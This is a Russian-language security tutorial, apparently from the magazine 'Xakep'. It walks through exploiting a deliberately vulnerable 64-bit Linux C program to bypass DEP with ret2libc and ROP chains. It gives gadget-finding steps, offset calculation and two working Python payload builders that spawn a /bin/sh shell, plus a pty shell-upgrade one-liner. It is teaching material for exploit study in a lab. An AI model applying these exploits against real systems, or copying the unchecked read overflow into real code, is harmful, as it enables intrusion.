Содержание статьи
В прошлой статье мы с тобой начали погружаться в мир шелл-кодинга для 64-битных *nix-систем. Пора развить эту тенденцию, ведь это журнал «Хакер»! Сегодня мы напишем эксплоит для обхода технологии DEP. Для этого рассмотрим две техники: ret2libc и ROP-цепочки.
Инструментарий
Сегодня нам понадобятся:
- Python Exploit Development Assistence for GDP.
- Radare2.
- GDB.
Для демонстрации уязвимости напишем простую программу на C
:
#include <stdio.h>
int main(int argc, char \*argv[]) {
char buf[256];
read(0, buf, 400);
}
Компилируем ее:
gcc -fno-stack-protector rop.c -o rop
Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой
# echo 0 > /proc/sys/kernel/randomize_va_space
Чтобы проверить, действительно ли ASLR отключен, введем команду ldd <путь_к_исполняемому_файлу>
. Должны получить что-то вроде
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).
Коротко о DEP
В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти.
DEP работает следующим образом: память, которая не должна исполняться (например, стек), помечается специальным битом NX. Если ты попробуешь запустить код из памяти с установленным битом NX, то вызовется исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-oriented programming (кстати, почитай на досуге кое-что из нашего старенького: тыц и дыц. — Прим. ред.) и ret2libc. Более подробно о них расскажу чуть ниже.
Твой первый ROP или ret2libc
В классическом 32-битном случае ret2libc требует создания фейкового стека со всеми необходимыми параметрами для вызова функции из libc. Например, можно вызвать функцию system()
и передать ей строку /bin/sh
.
Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi
, rsi
, rdx
, rcx
, r8
и r9
. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.
ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.
Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret
. Комбинируя такие команды, мы можем добиться исполнения кода.
При помощи гаджетов мы можем:
- записывать константу в регистр, например
pop rax; ret;
; - брать значение из памяти и записывать в регистр, например
mov [rax], rcx; ret;
; - копировать значение в память, например
mov rbx, [rcx]; ret;
; - выполнять различные арифметические операции, например
xor rax, rax; ret;
; - делать syscall.
Наш эксплоит будет сравнительно простым. Он будет вызывать system('/bin/sh')
. Для этого нам необходимо узнать:
- адрес функции
system()
. Мы отключили ASLR, таким образом, он не будет меняться при перезапуске; - адрес строки
/bin/sh
в памяти (или, другими словами, указатель на строку); - адрес ROP-гаджета, который скопирует адрес строки
/bin/sh
в регистрrdi
(через него передается первый параметр функции); - номер байта, после записи которого начинает перезаписываться регистр
rip
.
Для того чтобы найти адрес функции system()
, воспользуемся отладчиком GDB — введем gdb rop
. Затем запустим нашу программу:
gdb-peda$ start
Получим адрес функции system()
:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>
Получим указатель на строку /bin/sh
:
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')
Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359
в регистр rdi
. Для этого воспользуемся radare2
. Запускаем r2 rop
и затем ищем нужный гаджет:
[0x00400400]> /R pop rdi
0x004005a3 5f pop rdi
0x004005a4 c3 ret
Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi
. Сохрани его адрес.
Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:
gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"
Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:
gdb-peda$ r < pattern.txt
Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:
RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")
Регистр rip
указывает на команду ret;
, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.
Возьмем первые 6 байт (например), в моем случае это HA%dA%
. Затем определим, по какому смещению находятся эти байты в нашем паттерне:
gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264
Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip
.
А вот и эксплоит!
Теперь у тебя есть все, чтобы написать свой первый эксплоит:
from struct import *
buf = ''
buf += 'A'*264 # мусор
buf += pack('<Q', 0x004005a3) # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359) # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0) # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close
Данный код делает следующее:
- Создает буфер и записывает туда 264 буквы А.
- Записывает адрес гаджета
pop rdi; ret;
. - Записывает адрес строки
/bin/sh
, который является аргументом для функцииsystem()
. - Записывает адрес функции
system()
.
Теперь разберемся, что происходит со стеком во время работы. Сначала мы попадаем на наш гаджет (потому что мы перезаписали адрес возврата). Затем первая команда гаджета (pop rdi
) берет со стека значение указателя на /bin/sh
и записывает его в регистр rdi
. После этого выполняется вторая команда гаджета — ret
, которая берет следующее значение со стека (адрес функции system()
) и «прыгает» на него. В конце всего этого выполняется функция system()
, входное значение которой передано в регистре rip
.
Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:
$ (cat exploit.txt; cat) | ./rop
После чего появится мигающий курсор оболочки sh
. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.
Связываем цепочки
Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов в последовательном порядке. Так как каждый гаджет закачивается командой ret
, он будет брать адрес следующего гаджета со стека и передавать на него управление.
Чтобы выполнить произвольный код и перейти к интерпретатору sh
, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve()
:
- Положим в
rdi
адрес строки '/bin/sh' (содержит путь до файла, который мы будем запускать). - Обнулим
rsi
, чтобы не возиться с указателями на указатели (содержит указатель на массив строкargv
). - Обнулим регистр
rdx
, который содержит указательenvp
. - Запишем номер функции (
0x3b
) в регистрrax
. - Выполним
syscall
.
Осталось найти гаджеты, которые выполнят указанные действия.
Адрес гаджета pop rdi; ret;
мы уже получили, когда писали эксплоит aka ret2libc.
Теперь ищем гаджет, который сможет записать значение в регистр rsi
. Опять открываем radare2
и вводим:
[0x00400400]> /R pop rsi
0x004005a1 5e pop rsi
0x004005a2 415f pop r15
0x004005a4 c3 ret
Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15
. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15
. В противном случае команда pop r15
возьмет адрес следующего гаджета и сломает наш эксплоит.
Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:
$ ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.
Открываем библиотеку в radare2
:
r2 /usr/lib/libc.so.6
И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax
:
[0x000203b0]> /R pop rax
0x0011ec71 8903 mov dword [rbx], eax
0x0011ec73 58 pop rax
0x0011ec74 5a pop rdx
0x0011ec75 5b pop rbx
0x0011ec76 c3 ret
Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax
, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx
, который хранит адрес envp
при вызове функции execve()
. Как мы уже сказали, мы запишем в него null
, с регистром rbx
делаем то же самое, что и с r15
на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.
Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:
>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'
И получаем 0x7ffff7b5ac73
— реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall
:
[0x000203b0]> /R syscall
0x0010248e 0000 add byte [rax], al
0x00102490 48633f movsxd rdi, dword [rdi]
0x00102493 b803000000 mov eax, 3
0x00102498 0f05 syscall
0x0010249a c3 ret
Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498
— адрес гаджета syscall
.
Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:
0x004005a3 указатель на гаджет `pop rdi; ret;`
0x7ffff7b9d359 указатель на строку '/bin/sh'
0x004005a1 указатель на гаджет `pop rsi; ret;`
0x0 null (значение `argv`)
0xffffdeadbeef случайное значение (чтобы отработал `pop r15;`)
0x7ffff7b5ac73 указатель на гаджет `pop rax; ret`
0x3b номер функции execve для syscall
0x0 null (значение `envp`)
0xffffffffabcd случайное значение (чтобы отработал `pop rbx;`)
0x7ffff7b3e498 syscall
Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:
from struct import *
buf = ''
buf += 'A'*264 # junk
buf += pack('<Q', 0x004005a3) # pop rdi
buf += pack('<Q', 0x7ffff7b9d359) # p to /bin/sh
buf += pack('<Q', 0x004005a1) # pop rsi
buf += pack('<Q', 0x0) # null argv
buf += pack('<Q', 0xffffdeadbeef) # junk
buf += pack('<Q', 0x7ffff7b5ac73) # pop rax
buf += pack('<Q', 0x3b) # execve number
buf += pack('<Q', 0x0) # null envp
buf += pack('<Q', 0xffffffffabcd) # trash
buf += pack('<Q', 0x7ffff7b3e498) # syscall
f = open("exploit.txt", "w")
f.write(buf)
f.close
Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:
(cat exploit.txt; cat) | ./rop
Теперь мы внутри sh
. Если мы хотим получить полноценный шелл, можем сделать это при помощи python
:
python -c 'import pty; pty.spawn("/bin/sh")'
После чего появится «красивый» шелл sh
:).
To be continued...
Недавно Intel представила предварительную спецификацию новой технологии защиты от эксплоитов. Данная технология, которая называется Control-flow Enforcement Technology (CET), представляет модель защиты от эксплоитов, которые так или иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые техники защиты обязательно появятся новые техники нападения, о которых мы непременно тебе расскажем на страницах журнала.